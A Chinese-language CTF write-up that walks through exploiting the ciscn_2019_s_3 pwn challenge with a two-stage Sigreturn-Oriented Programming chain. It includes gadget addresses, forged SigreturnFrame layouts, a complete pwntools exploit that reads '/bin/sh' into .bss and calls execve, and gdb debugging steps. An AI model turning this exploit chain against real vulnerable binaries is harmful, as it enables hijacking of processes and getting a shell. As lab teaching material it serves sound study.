如果你对 SROP 的印象还停留在“用 pwntools 的 SigreturnFrame 把 rax 改成 15”,那么 ciscn_2019_s_3 这道题可能会让你卡一个下午。我第一次做这道题时,第一段 sigreturn 很快打通了,但真正 getshell 的时候才发现:程序里根本没有现成的/bin/sh,栈上虽然有可疑的字符串碎片,但你又没法保证rdi一定指向它。后来我重新推导了一遍执行流和栈指针的接力,才意识到 SROP 的难点从来不在 frame 本身,而在“如何在多种系统调用之间来回切换”。这篇文章就以 ciscn_2019_s_3 为例,把这条高级 ROP 与 SROP 结合的利用链完整拆开。
1. 开局三板斧:防护检查、漏洞定位与关键 gadget
做 pwn 题,拿到附件先别急着写脚本,先把文件信息和防护机制摸清楚。这题没有开启 PIE,也没有 canary,这对后续利用非常关键,意味着你不需要泄露地址,也不需要考虑重定位,直接对着固定地址打就行。
1.1 checksec 输出怎么看
本地用checksec ./ciscn_2019_s_3看到的典型输出是:
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)这里最重要的两条:
- No PIE:程序加载基址固定,可以直接写死 gadget、bss 段的地址。
- No canary:栈溢出不会被中断,返回地址可以被完整覆盖。
NX 开启意味着你不能在栈上放 shellcode 然后跳过去执行,所以必须走 ROP / SROP。Partial RELRO 意味着 GOT 表可写,但本题其实用不到 GOT 劫持,SROP 链路本身足够了。
1.2 漏洞点:read 半裸写
用 IDA 或者 Ghidra 看 main 的逻辑,核心就一个函数:
ssize_t vulnerable_function() { char buf[0x10]; return read(0, buf, 0x400u); }这是一个非常典型的半裸写:缓冲区只有 0x10 字节,read却给了 0x400 字节的写入权限。关键点在栈偏移。
看一下反汇编中的经典开场:
push rbp mov rbp, rsp sub rsp, 0x10 lea rax, [rbp-0x10] mov edi, 0 mov rsi, rax mov edx, 0x400 call readbuf位于rbp-0x10,也就是距离保存的 rbp 有 0x10 字节,距离返回地址有 0x10 + 8 = 0x18 字节。所以 payload 开头固定是b'A' * 0x18,接下来 8 字节就是返回地址。这个偏移直接决定了第一步的 ret 控制点,后面所有 SROP 的 frame 都从这个位置开始延伸。
1.3 两个核心 gadget 的找法
SROP 需要触发rt_sigreturn,也就是系统调用号 15,并且要有一个syscall; ret的位置来真正发起系统调用。这道题的附件里,我最终用的是这两个地址:
0x4004DA:mov rax, 0xf; ret,用来把 rax 固定为 15。0x4004E2:syscall; ret,用来执行系统调用。
不同版本的题目附件地址可能有差异,所以不要硬抄。我建议用 ROPgadget 自己确认一遍:
ROPgadget --binary ./ciscn_2019_s_3 --only "syscall|ret" ROPgadget --binary ./ciscn_2019_s_3 --only "mov|ret"或者用 objdump 直接看机器码:
objdump -d ./ciscn_2019_s_3 | grep -A 2 -B 2 "syscall"题目里没有pop rax; ret,所以没法直接向 rax 塞常数。mov rax, 0xf; ret这个 gadget 就是整个 SROP 链路的引信。如果你找不到它,后面的一切都无从谈起。
2. 常规 ROP 的困局:为什么非要用 SROP
看到这里你可能会想:既然有栈溢出,为什么不直接找pop rdi; ret、pop rsi; ret之类的 gadget 拼一条常规 ROP 出来?答案是不好拼。
2.1 缺少关键寄存器控制的 gadget
拿 execve 系统调用来讲,你需要满足:
rax = 59 rdi = address_of_command rsi = 0 rdx = 0常规 ROP 思路是找一堆pop指令,逐个把寄存器吹饱。但问题来了:
- 程序里没有现成的
pop rax; ret,所以 rax 没法直接被设置成 59。 - ret2csu 虽然可以控制 rbx、rbp、r12、r13、r14、r15,但它的调用链针对的是
call [r12+rbx*8],要额外准备一个内存区域存放函数指针,非常麻烦。 - 就算你通过 ret2csu 把 rsi、rdx、rdi 都准备好了,rax 的问题依然悬而未决。
简单说,常规 ROP 需要把 4 个寄存器都凑齐,而这题能直接控制的寄存器太少了。与其面向 gadget 编程,不如换一种思路:让内核替你恢复所有寄存器。
2.2 rt_sigreturn 被滥用的原理
SROP 的核心是rt_sigreturn,这是一个专用于从信号处理函数返回的系统调用。用户态进程收到信号并进入 handler 时,内核会把进程上下文压到用户栈上;当 handler 执行完毕后,进程通过rt_sigreturn通知内核“我处理完了,恢复现场吧”。
内核在恢复现场时,会从当前rsp指向的位置读取一个sigframe,然后把它解析成寄存器值,一次性写回所有的寄存器,包括 rax、rdi、rsi、rdx、rip、rsp 等。
问题就在这里:这个恢复过程本身不校验 sigframe 是从哪来的。攻击者如果在栈上伪造一个sigframe,然后让程序执行syscall并触发系统调用号 15,内核就会老老实实按照攻击者伪造的寄存器快照去恢复现场。相当于绕过所有 gadget,直接“上帝视角”改写任意寄存器。
这就是 SROP 的名字来源:Sigreturn-Oriented Programming。它本质上是用一次系统调用替代了好几条 ROP gadget。
2.3 SigreturnFrame 的布局与对齐
pwntools 里有一个现成的类:
frame = SigreturnFrame(arch='amd64')这个 frame 的二进制结构对应内核里的sigcontext,包含uc_flags、&uc、ss、cs、rflags、rsp、rip以及各个通用寄存器字段。构造完成后,bytes(frame)就是一个可以被rt_sigreturn直接解析的二进制大块。
这里要特别注意一个隐蔽坑:SigreturnFrame的大小和context.arch密切相关。如果你是 64 位程序但忘了设置 arch,pwntools 会默认按 32 位结构生成,长度差一大截,内核解析时不认识,大概率直接崩。所以脚本开头必须写:
context.arch = 'amd64'另外,当syscall指令执行时,rsp必须恰好指向我们布置的 frame 起始位置。也就是说,你跳转到syscall; ret之前,要保证栈顶就是bytes(frame)的第一个字节。这个对齐问题在下面构造 payload 时尤其重要。
3. 两阶段利用链:先搬运 /bin/sh,再发射 execve
既然要 getshell,最直接的思路是让程序执行:
execve("/bin/sh", 0, 0)但程序里没有现成的/bin/sh字符串,所以你必须先把/bin/sh\0写到某个固定地址,比如 bss 段。这就引出了两阶段 SROP。
3.1 为什么不能一发入魂
有人会想:我直接在第一次溢出的 SigreturnFrame 里设置rip = syscall_ret、rax = 59、rdi = 某个地址,不就直接 execve 了吗?
问题在于,那个地址上必须真的有一个/bin/sh\0。程序加载后,bss 段是零初始化,栈上虽然可能有环境变量里的字符串,但没人保证它是连续的/bin/sh,更没人保证它的地址可预测。
所以,标准的解法是分两步:
- 第一次 SROP:伪造一次
read系统调用,把"/bin/sh\0"和第二阶段用到的链都读到 bss 段。 - 第二次 SROP:伪造
execve系统调用,让rdi指向 bss 里刚写入的/bin/sh。
这也是这道题最精华的地方:SROP 不一定只能打一次,它就是一套可以反复使用的寄存器恢复工具。
3.2 第一阶段:伪造 read 系统调用
第一阶段的目标是执行:
read(0, bss_addr, 0x400)通过 SigreturnFrame 可以这样构造:
frame1 = SigreturnFrame(arch='amd64') frame1.rip = syscall_ret # syscall; ret frame1.rax = 0 # SYS_read frame1.rdi = 0 # stdin frame1.rsi = bss_addr # 写入目标 frame1.rdx = 0x400 # 读入长度 frame1.rsp = bss_addr + 0x100 # read 返回之后的栈顶第一次触发流程是:
main 返回 -> set_rax_15 -> syscall_retset_rax_15先把 rax 置成 15,随后syscall执行rt_sigreturn,内核把 frame1 恢复成上面这些寄存器值。控制流恢复到用户态后,程序停在syscall_ret的位置,此时的 rax=0,所以它继续往下执行syscall; ret,这句实际变成了read(0, bss_addr, 0x400)。
这里我特意把rsp设置成bss_addr + 0x100。因为 read 返回后用户态会执行ret,而ret读取的地址就是当前rsp指向的位置。把rsp直接搬到 bss+0x100,相当于让第二阶段链从那里开始,这样第一步的 payload 和第二步的 payload 就能在 bss 段完美接力。
第一阶段的完整 payload 布局如下:
b'A' * 0x18 p64(set_rax_15) p64(syscall_ret) bytes(frame1)当set_rax_15的ret执行时,栈顶弹出syscall_ret,此时rsp恰好指向bytes(frame1)的起始地址,所以syscall能正确解出 frame。
3.3 第二阶段:在 bss 段重新布置 SROP 链
第二阶段输入被read读入 bss 段,也就是从bss_addr开始覆盖。我希望bss_addr + 0x100这个位置放一条新的 ROP 链,让程序再次触发 sigreturn,并在这一次真正执行 execve。
第二阶段 payload 的设计:
b"/bin/sh\x00" 填充字节到 bss + 0x100 p64(set_rax_15) p64(syscall_ret) bytes(frame2)/bin/sh\0放在 bss 开头,这样方便rdi = bss_addr指向它。填充部分是为了把链的起点推到bss_addr + 0x100,正好匹配第一次 frame1 设置的rsp。
frame2 的构造:
frame2 = SigreturnFrame(arch='amd64') frame2.rip = syscall_ret frame2.rax = 59 # SYS_execve frame2.rdi = bss_addr # "/bin/sh" 的地址 frame2.rsi = 0 # argv = NULL frame2.rdx = 0 # envp = NULL frame2.rsp = bss_addr + 0x300 # 随便给一个可写位置第二次的执行流程:
read 返回 -> ret 从 bss+0x100 取 set_rax_15 -> set_rax_15 里 ret 从 bss+0x108 取 syscall_ret -> 此时 rsp 指向 bss+0x110,也就是 frame2 的起始 -> syscall 执行 rt_sigreturn,恢复 frame2 的寄存器 -> 程序回到 syscall_ret,此时 rax=59,rdi=bss_addr -> syscall 执行 execve("/bin/sh", 0, 0)这里为什么第二次也能成功触发 sigreturn?因为set_rax_15这个 gadget 把 rax 重新置成了 15,而 frame2 恰好紧随其后。所以每一次 sigreturn,都要有一个set_rax_15作为前缀,否则 rax 的值不对,内核会陷入其他系统调用。
3.4 完整 exp 与逐行说明
下面的脚本是我在实际复现时使用的版本,注释已经写得很细:
from pwn import * context.arch = 'amd64' context.log_level = 'debug' elf = ELF('./ciscn_2019_s_3') set_rax_15 = 0x4004DA syscall_ret = 0x4004E2 bss_addr = 0x601100 offset = 0x18 # 第一阶段:伪造 read,把 /bin/sh 读到 bss frame1 = SigreturnFrame(arch='amd64') frame1.rip = syscall_ret frame1.rax = 0 # SYS_read frame1.rdi = 0 # stdin frame1.rsi = bss_addr # 目标地址 frame1.rdx = 0x400 # 长度 frame1.rsp = bss_addr + 0x100 # read 返回后的栈顶 payload1 = b'A' * offset payload1 += p64(set_rax_15) payload1 += p64(syscall_ret) payload1 += bytes(frame1) # 第二阶段:伪造 execve frame2 = SigreturnFrame(arch='amd64') frame2.rip = syscall_ret frame2.rax = 59 # SYS_execve frame2.rdi = bss_addr # "/bin/sh" frame2.rsi = 0 frame2.rdx = 0 frame2.rsp = bss_addr + 0x300 payload2 = b'/bin/sh\x00' payload2 = payload2.ljust(0x100 - 8, b'B') payload2 += p64(set_rax_15) payload2 += p64(syscall_ret) payload2 += bytes(frame2) payload2 = payload2.ljust(0x400, b'C') io = process('./ciscn_2019_s_3') io.send(payload1) io.send(payload2) io.interactive()有几个细节说明一下:
payload2里的0x100 - 8填充是怎么来的?因为bss_addr + 0x100处需要放set_rax_15,从 bss 到 bss+0x100 之前有 0x100 字节,其中前 8 字节是/bin/sh\0,剩下的才是填充,所以填充长度是0x100 - 8。payload2.ljust(0x400, b'C')是为了让 read 读满足够的字节。如果发送太短,read 可能一直阻塞等待后续数据,虽然不会影响 getshell,但交互时序会变得不稳定。- 两次
io.send之间不需要 sleep。第一次 payload 触发后程序会进入read等待,第二次 send 的数据会进入管道缓冲区,read 会正常读到。
4. 调试实录:断点怎么下,坑怎么踩
SROP 这类利用链,最怕的是表面通了但实际没进 shell。我把自己调试过程里排掉的坑和验证方法写在这里,照做能帮你省很多时间。
4.1 gdb 断点与观察方法
使用 pwndbg 或 gdb 调试时,建议在以下三个位置下断点:
b *0x4004DA # set_rax_15 b *0x4004E2 # syscall_ret第一次断在0x4004DA时,检查$rax是否等于 15。然后单步到0x4004E2,执行x/30gx $rsp,看rsp指向的位置是否是一大段我们伪造的 frame。
当syscall指令执行后,用si跟进一次,再si返回用户态,立刻检查寄存器:
p/x $rax p/x $rdi p/x $rsi p/x $rdx p/x $rip p/x $rsp如果 frame1 生效,你会看到rip=0x4004E2、rax=0、rdi=0、rsi=bss_addr、rdx=0x400、rsp=bss_addr+0x100。此时再执行到syscall,就相当于调用了 read。
第二次输入后,再断在0x4004E2,检查$rsp是否指向 bss+0x110 附近的 frame2。如果这里指向的位置不对,说明frame2和链的拼接长度有偏差。
4.2 坑一:偏移不是 0x400,而是 0x18
这是我见过最多新手写错的地方。
很多人看到read(0, buf, 0x400),就下意识把溢出偏移当成 0x400,用cyclic(0x500)来找返回地址。实际上缓冲区只有 16 字节,0x400 只是允许读取的最大长度。返回地址距离 buf 只有 0x18 字节,后面的 0x400 长度只是给了你足够的空间去放 SigreturnFrame。
用cyclic验证时,你会看到崩溃地址落在cyclic(0x20)附近,而不是 0x400 附近。所以第一段 payload 开头一定是b'A' * 0x18,而不是铺满 0x400 字节再盖地址。
4.3 坑二:frame 没有紧跟在返回地址后面
SROP 要求执行 sigreturn 时rsp恰好指向 frame 的开头。如果你的 payload 在返回地址和 frame 之间多塞了别的东西,比如对齐用的 padding,那syscall解析出来的就是 garbage,轻则栈错乱,重则直接 SIGSEGV。
标准布局一定是:
padding(0x18) + set_rax_15 + syscall_ret + frameset_rax_15的ret会把自己的返回地址填给 rip 并跳走,同时把rsp加 8。所以当set_rax_15执行完,栈顶正好落在syscall_ret的下一个位置,也就是 frame 开头。这个对齐关系只要多一个字节或者少一个字节都会坏。
验证方法也很简单:gdb 下断到syscall_ret后,看一眼$rsp指向的内容。如果前 8 字节看起来像 frame 里的uc_flags字段,而不是一段可读 ASCII 字符串或 0x4141...,那说明布局是对的。
4.4 坑三:本地成功、远程失败的常见原因
本地打通的 exp 换到远程失败,绝大多数和输入方式有关。
- 不要用
sendline,因为它会在末尾追加\n。多出的一个字节会改变第二次 read 的返回地址对齐,甚至破坏 frame 尾部。 - 确保
payload2长度补齐到 0x400,否则部分远程环境会因为 read 没有返回而卡住后续交互。 - 远程连接后的 shell 可能需要等一会才回显。拿到 shell 后如果输入命令没反应,先尝试
io.sendline(b'id'),不要急着放弃。
另外,如果题目附件和我这边的版本不同,bss_addr、set_rax_15、syscall_ret三个地址都会变。拿到新附件后先用checksec和ROPgadget重新确认,我不建议直接拿别人的固定地址往自己脚本里套。
SROP 这道题的核心收获,是学会把内核机制当成一个“万能寄存器写入器”。你没找到pop rax; ret没关系,只要你还能找到一个mov rax, 15; ret和一个syscall; ret,就可以通过多次 sigreturn 完成任意系统调用的编排。以后再遇到 gadget 稀缺的 64 位程序,这套两阶段接力思路都能直接复用。